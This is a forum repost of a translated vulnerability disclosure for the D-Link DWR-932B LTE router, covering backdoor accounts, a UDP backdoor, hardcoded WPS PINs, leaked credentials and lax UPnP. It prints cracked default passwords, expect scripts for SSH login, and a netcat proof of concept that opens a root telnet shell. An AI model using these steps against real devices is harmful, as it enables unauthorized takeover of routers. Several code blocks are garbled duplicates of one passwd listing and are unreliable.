技术控

    今日:58| 主题:57966
收藏本版 (1)
最新软件应用技术尽在掌握

[其他] 【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

[复制链接]
心疼你伤很深 投递于 2016-10-5 09:27:15
180 2

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-1-技术控-admin,路由器,homerouter,漏洞,安全

  前言

   根据安全研究专家的最新发现, Dlink DWR-932B路由器中存在大量的安全漏洞,包括后门、后门账号、弱WPS、以及远程代码执行漏洞等等 。如果你对物联网安全方面感兴趣的话,可以选择拿这款路由器来练练手。
  漏洞概述
   Dlink DWR-932B路由器是一款LTE路由器,由于这款路由器的整体设计存在非常严重的问题,导致 该设备中存在大量的安全漏洞 。Dlink是一个跨国的网络设备制造商,而这款路由器目前已经销往了全球的多个国家和地区。需要注意的是,这款设备现在正在为多国的企业和组织提供互联网服务,所以这些漏洞必定会将相关企业置于安全风险之中。根据安全研究专家的描述,Dlink DWR-932B路由器中的一个核心功能模块是基于Quanta LTE路由器模块来实现的。而不幸的是,该模块不仅从Quanta LTE路由器那里继承了其通信功能,而且还将其中的安全漏洞带到了Dlink DWR-932B路由器的身上。
   Dlink DWR-932B路由器中存在的安全漏洞如下所示 :
  -后门账号
  -后门
  -默认WPS PIN码
  -弱WPS PIN码生成
  -泄漏No-IP账号
  -HTTP守护进程(qmiweb)中存在多个漏洞
  -远程FOTA
  -安全实践方案存在缺陷
  -UPnP安全问题
   在接下来的漏洞分析测试过程中,我们使用的是最新版的官方固件(固件  DWR-932_fw_revB_2_02_eu_en_20150709.zip , 模块版本 B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc)。
   安全专家的观点:如果你是一个积极乐观的人,那么你可以认为这些漏洞的存在是由制造商的疏忽大意而造成的。如果你是一个阴谋论者,那么你也可以认为这些漏洞是制造商故意设计的。这篇文章并没有将所有已发现的相关漏洞披露出来,我们在这篇文章中只对其中一些影响比较严重的安全漏洞进行了分析。需要注意的是, 目前这款路由器设备仍然在售 。
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-2-技术控-admin,路由器,homerouter,漏洞,安全

  由于制造商目前还没有向用户提供产品的安全更新补丁,所以这些漏洞目前仍然无法得到修复。如果广大用户对此有任何疑问的话,可以尝试与当地的D-Link服务点取得联系。
  漏洞细节分析-后门账号
   默认配置下, telnetd 和 SSHd 这两个服务程序都会在路由器中运行。需要注意的是,即便是路由器设备中没有提供任何关于telnetd程序的文档和信息,这个服务程序仍然会在路由器中运行:
  1. [email protected]:~$ cat ./etc/init.d/start_appmgr
  2. [...]
  3. #Sandro { for telnetd debug...
  4. start-stop-daemon -S -b -a /bin/logmaster
  5. #if [ -e /config2/telnetd ]; then
  6.         start-stop-daemon -S -b -a /sbin/telnetd
  7. #fi
  8. #Sandro }
  9. [...]
复制代码
  安全研究专家在这款路由器内发现了 两个后门账号 ,攻击者或可利用这两个后门账号来绕过路由器的HTTP身份验证机制,并获取到路由器的管理权限。
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$
复制代码
  在IDA的帮助下,研究人员在“/bin/appmgr”中发现了路由器的管理员账号。设备的管理员账号默认为“admin”,而密码同样也是“ admin ”。
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-3-技术控-admin,路由器,homerouter,漏洞,安全

  关于root用户的信息如下所示:
  1. [email protected]:~$ cat ./etc/shadow
  2. root:aRDiHrJ0OkehM:16270:0:99999:7:::
  3. daemon:*:16270:0:99999:7:::
  4. bin:*:16270:0:99999:7:::
  5. sys:*:16270:0:99999:7:::
  6. sync:*:16270:0:99999:7:::
  7. games:*:16270:0:99999:7:::
  8. man:*:16270:0:99999:7:::
  9. lp:*:16270:0:99999:7:::
  10. mail:*:16270:0:99999:7:::
  11. news:*:16270:0:99999:7:::
  12. uucp:*:16270:0:99999:7:::
  13. proxy:*:16270:0:99999:7:::
  14. www-data:*:16270:0:99999:7:::
  15. backup:*:16270:0:99999:7:::
  16. list:*:16270:0:99999:7:::
  17. irc:*:16270:0:99999:7:::
  18. gnats:*:16270:0:99999:7:::
  19. diag:*:16270:0:99999:7:::
  20. nobody:*:16270:0:99999:7:::
  21. messagebus:!:16270:0:99999:7:::
  22. avahi:!:16270:0:99999:7:::
  23. [email protected]:~$
复制代码
使用哈希破解神器John The Ripper来破解我们所获取到的密码哈希:
  1. [email protected]:~$ john -show shadow+passwd
  2. admin:admin:admin:/:/bin/sh
  3. root:1234:16270:0:99999:7:::
  4. 2 password hashes cracked, 0 left
  5. [email protected]:~$
复制代码
分析结果如下:
  1. -admin账号的密码为“admin”
  2. -root账号的密码为“1234”
复制代码
  利用admin账号完成漏洞利用 (代替方案,仅供参考[ 传送门 ]):
  1. [email protected]:~$ cat quanta-ssh-default-password-admin
  2. #!/usr/bin/expect -f
  3. set timeout 3
  4. spawn ssh [email protected]
  5. expect "password: $"
  6. send "admin\r"
  7. interact
  8. [email protected]:~$ ./quanta-ssh-default-password-admin
  9. spawn ssh [email protected]
  10. [email protected]'s password:
  11. [email protected]:~$ id
  12. uid=168(admin) gid=168(admin) groups=168(admin)
  13. [email protected]:~$
复制代码
  利用root账号完成漏洞利用 :(代替方案,仅供参考[ 传送门 ]):
  1. [email protected]:~$ cat quanta-ssh-default-password-root
  2. #!/usr/bin/expect -f
  3. set timeout 3
  4. spawn ssh [email protected]
  5. expect "password: $"
  6. send "1234\r"
  7. interact
  8. [email protected]:~$ ./quanta-ssh-default-password-root
  9. spawn ssh [email protected]
  10. [email protected]'s password:
  11. [email protected]:~# id
  12. uid=168(root) gid=168(root) groups=168(root)
  13. [email protected]:~#
复制代码
漏洞细节分析-后门
   安全研究专家还发现,在“ /bin/appmgr ”程序中还存在一个 后门程序 。如果telnetd守护进程没有处于运行状态的话,攻击者可以通过向目标路由器发送一个特殊字符串(使用UDP协议)来开启一个未经身份验证的telnet服务器。
   在“/bin/appmgr”中,有一个线程会 持续监听0.0.0.0:39889(UDP) ,并等待传入控制命令。
   如果某个用户向目标路由器发送了一个“HELODBG”字符串,那么路由器将会执行“/sbin/telnetd -l /bin/sh”,并允许这名用户在未经身份验证的情况下 以root用户的身份登录路由器 。
  在使用IDA来对程序进行分析的过程中,我们可以看到该后门存在于源程序的main函数之中(代码的第369行):
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-4-技术控-admin,路由器,homerouter,漏洞,安全

  概念验证实例(PoC):
  1. [email protected]:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
  2. Hello
  3. ^C
  4. [email protected]:~$ telnet 192.168.1.1
  5. Trying 192.168.1.1...
  6. Connected to 192.168.1.1.
  7. Escape character is '^]'.
  8. OpenEmbedded Linux homerouter.cpe
  9. msm 20141210 homerouter.cpe
  10. / # id
  11. uid=0(root) gid=0(root)
  12. / # exit
  13. Connection closed by foreign host.
  14. [email protected]:~$
复制代码
漏洞细节分析-默认WPS PIN码
  路由器中的WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定(Wi-Fi Protected Setup)标准,该标准推出的主要原因是为了解决长久以来无线网络加密认证设定的步骤过于繁杂艰难之弊病,使用者往往会因为步骤太过麻烦,以致干脆不做任何加密安全设定,因而引发许多安全上的问题。我们可以在路由器中的help.html中查看到相关的信息。
   默认配置下,该路由器WPS系统的PIN码永远都是“ 28296607 ”。实际上,这个PIN码是 硬编码在“/bin/appmgr”程序中 的。
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-5-技术控-admin,路由器,homerouter,漏洞,安全

  除此之外,我们不仅还可以在HostAP配置中找到这个PIN码,而且由于设备存在信息泄漏的问题,所以我们也可以在路由器的HTTP API接口中找到该PIN码:
  1. [email protected]:~# ps -a|grep hostap
  2. 1006 root       0:00 hostapd /var/wifi/ar6k0.conf
  3. 1219 root       0:00 grep hostap
  4. [email protected]:~# cat /var/wifi/ar6k0.conf
  5. [...]
  6. ap_pin=28296607
  7. [...]
复制代码
漏洞细节分析-弱WPS PIN码生成
   用户可以在路由器的Web管理界面中为WPS系统生成一个 临时的PIN码 ,但是一般用户都不会这样做,因为路由器默认已经帮用户生成了一个WPS PIN码(28296607)。
   路由器所生成的PIN码强度非常弱,因为它使用的是一个非常“奇怪”的逆向工程算法。相关代码如下所示[ 点我获取quanta-wps-gen.c ]:
  1. [email protected]:~$ cat quanta-wps-gen.c
复制代码
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$0
复制代码
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$1
复制代码
  我们可以从上面的代码中看到,其使用了 srand(time(0)) 来作为种子,这是一种非常不安全的做法。因为time(0)会以整形数值的形式返回当前的时间,而攻击者同样可以获取到当前时间。这样一来,攻击者就可以随意生成一个有效的WPS PIN码了。由于路由器使用了 网络时间协议(NTP) ,所以设备的时间戳设置应该没什么问题。这也就意味着,攻击者将可以轻松地生成大量有效的WPS PIN码。
  为了满足各位同学们的好奇心,我们在下方给出了固件中的初始算法:
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$2
复制代码
漏洞细节分析-泄漏NO-IP账号(?)
  文件“/etc/inadyn-mt.conf”(针对dyndns客户端)中包含有一个用户名(alex_hung)和一个硬编码的密码:
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$3
复制代码
漏洞细节分析-HTTP守护进程(qmiweb)中存在多个漏洞
  安全研究专家在测试过程中发现,HTTP守护进程(/bin/qmiweb)中还存在大量的安全漏洞。
   各位同学可以参考我之前的分析报告,这个路由器模块使用的也是类似的固件。[ 报告传送门 ]
  关于这些漏洞的利用方式我就不再进行赘述了,感兴趣的同学可以自己动手尝试一下,这部分内容就当作家庭作业啦!
  漏洞细节分析-远程FOTA
   路由器与FOTA服务器进行通信时的凭证数据硬编码在“/sbin/fotad”代码中  ,我们用IDA对代码进行了分析, 具体如下图所示 :  
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-6-技术控-admin,路由器,homerouter,漏洞,安全

  函数sub_CAAC中包含有凭证数据,(一个已采用base64进行编码的字符串),路由器需要通过这个凭证来从远程服务器获取固件。
  值得注意的是,FOTA守护进程会使用HTTPS协议来尝试获取固件。但是在这篇报告发表时,https://qdp:[email protected]/qdh/ispname/2031/appliance.xml 的SSL证书已经过期长达一年半之久了。
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-7-技术控-admin,路由器,homerouter,漏洞,安全

  用户/密码如下所示:
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$4
复制代码
漏洞细节分析-安全实践方案存在缺陷
  你可以从“/etc/init.d/start_appmgr”中看到很多奇怪的shell命令,这些命令全部都是以root权限执行的。具体如下所示:
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$5
复制代码
“chmod 777”命令执行后,将会赋予相应文件完整的读/写/执行权限,所以我不太明白制造商为什么要对“/bin/”目录下的文件进行这样的操作。
  漏洞细节分析-UPnP安全问题
  UPnP允许用户动态添加防火墙规则。因为这种做法会带来一定的安全风险,因此设备通常都会对这种操作进行限制,以避免不受信任的客户端添加不安全的防火墙规则。
   IPnP的不安全性早在2006年就已经是众所周知的事情了。而该路由器中UPnP程序的安全等级仍然非常的低, 处于局域网内的攻击者可以随意修改路由器的端口转发规则 。
  文件“/var/miniupnpd.conf”是由“/bin/appmgr”程序生成的:
  

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞

【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞-8-技术控-admin,路由器,homerouter,漏洞,安全

  该程序会生成“/var/miniupnpd.conf”:
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$6
复制代码
在配置文件中,并没有对UPnP权限规则进行任何限制。在普通的配置文件中,一般只允许端口号在1024以上的端口进行重定向操作。
  1. [email protected]:~$ grep admin /etc/passwd
  2. admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
  3. [email protected]:~$7
复制代码
总结
  在测试过程中,我们还可以利用一个自定义固件(带有后门)来重写路由器设备的初始固件。如果各位同学感兴趣的话,可以自己动手尝试生成一个带有后门的路由固件。但是由于路由器的默认固件中存在如此之多的安全漏洞,我觉得其实也没必要自己再去制作一个带有后门的自定义固件了。
  参考资料
     本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
   原文链接:https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html



上一篇:OpenID Connect for User Authentication In ASP.NET Core
下一篇:The Transaction Log, Delayed Durability, and considerations for its use with In-
蓉初丹 投递于 2016-10-22 15:33:37
楼下的,觉得比特币咋样啊?
回复 支持 反对

使用道具 举报

蔡玲玉 投递于 2016-11-18 07:59:46
我就是路过,拿积分走人!!
回复 支持 反对

使用道具 举报

我要投稿

推荐阅读


回页顶回复上一篇下一篇回列表
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 | 粤公网安备 44010402000842号 )

© 2001-2017 Comsenz Inc.

返回顶部 返回列表